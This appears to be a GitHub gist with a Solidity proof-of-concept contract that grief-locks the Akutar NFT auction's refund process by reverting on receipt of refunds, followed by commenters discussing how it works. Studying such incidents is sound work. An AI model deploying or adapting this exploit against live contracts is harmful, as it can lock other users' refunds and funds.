Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
contract RefundExploit {
bool blocked;
function bid() external payable {
require(msg.sender == 0x0000000000000000000000000000000000000001);
IAku aku = IAku(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);
aku.bid{value: msg.value}(1);
blocked = true;
}
receive() external payable {
if (blocked) {
while (true) {}
} else {
(bool success, ) = 0x0000000000000000000000000000000000000001.call{
value: msg.value
}("");
require(success);
}
}
function setBlocked(bool _blocked) external {
require(msg.sender == 0x0000000000000000000000000000000000000001);
blocked = _blocked;
}
}
interface IAku {
function bid(uint8) external payable;
}
@tahinETH
Copy link

tahinETH commented Apr 23, 2022

Sir hey, a rookie question here:

what is the purpose of the following line:

require(msg.sender == 0x0000000000000000000000000000000000000001);

@except
Copy link
Author

except commented Apr 23, 2022

Sir hey, a rookie question here:

what is the purpose of the following line:

require(msg.sender == 0x0000000000000000000000000000000000000001);

This is a placeholder for the attackers EOA, so only they can interact with this contract.

@tahinETH
Copy link

tahinETH commented Apr 23, 2022

Got it. Thanks a lot!

@osyduck
Copy link

osyduck commented Apr 23, 2022

Sir hey, a rookie question here:
what is the purpose of the following line:
require(msg.sender == 0x0000000000000000000000000000000000000001);

This is a placeholder for the attackers EOA, so only they can interact with this contract.

I know it's a dumb question but I appreciated if You would answer that more details. Isn't that means You can only call the contract with 0x0000000000000000000000000000000000000001 address?

@except
Copy link
Author

except commented Apr 23, 2022

Yep, only if your address equals 0x0000000000000000000000000000000000000001, you can interact with it.

@jesusxy
Copy link

jesusxy commented Apr 23, 2022

@except thanks for taking the time and answering. I literally came on here today to ask the same question as @tahinETH

@saswatanand
Copy link

saswatanand commented Apr 24, 2022

I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?

@except
Copy link
Author

except commented Apr 24, 2022

I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?

The exploit does not need the while (true) {} to function as required, it could just revert() which would cause the parent processRefunds() function in the Akutar contract to fail which causes this whole drama.

The address which its sending to is supposed to be the owner of the contract, not the contract itself. It's just a placeholder in this example.

@Tung40194
Copy link

Tung40194 commented Apr 28, 2022

excuse me, I'm new.

I still don't understand.

Why is hacker able to lock Aku contract using his own bool blocked; in his contract?

If the fallback fails, then the entire TX(hacker->RefundExploit::bid()->AkuNFT::bid()-> RefundExploit::receive()) will fail...
This does not change any thing inside the Aku contract right?

This can't even prevent others from calling bid() or processRefund(). Because the transaction involved with hacker's function was reverted, nothing affected to the Aku's contract states.

I'm saying bool blocked; can not lock Aku's contract from functioning!
I'm I correct? Or did I miss something?

@jesusxy
Copy link

jesusxy commented May 2, 2022

@Tung40194 The attackers objective is not to lock the Aku contract and stop others from interacting with it.

Like @except said in his previous comment, when the receivable fallback fails if(blocked) { revert() } it stops the chain of refunds from continuing in the parent processRefunds() function. Which causes refunds and withdrawals to be stuck/locked.

@Tung40194
Copy link

Tung40194 commented May 17, 2022

@jesusxy Thank you. I got it...I got misled by other analysis.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment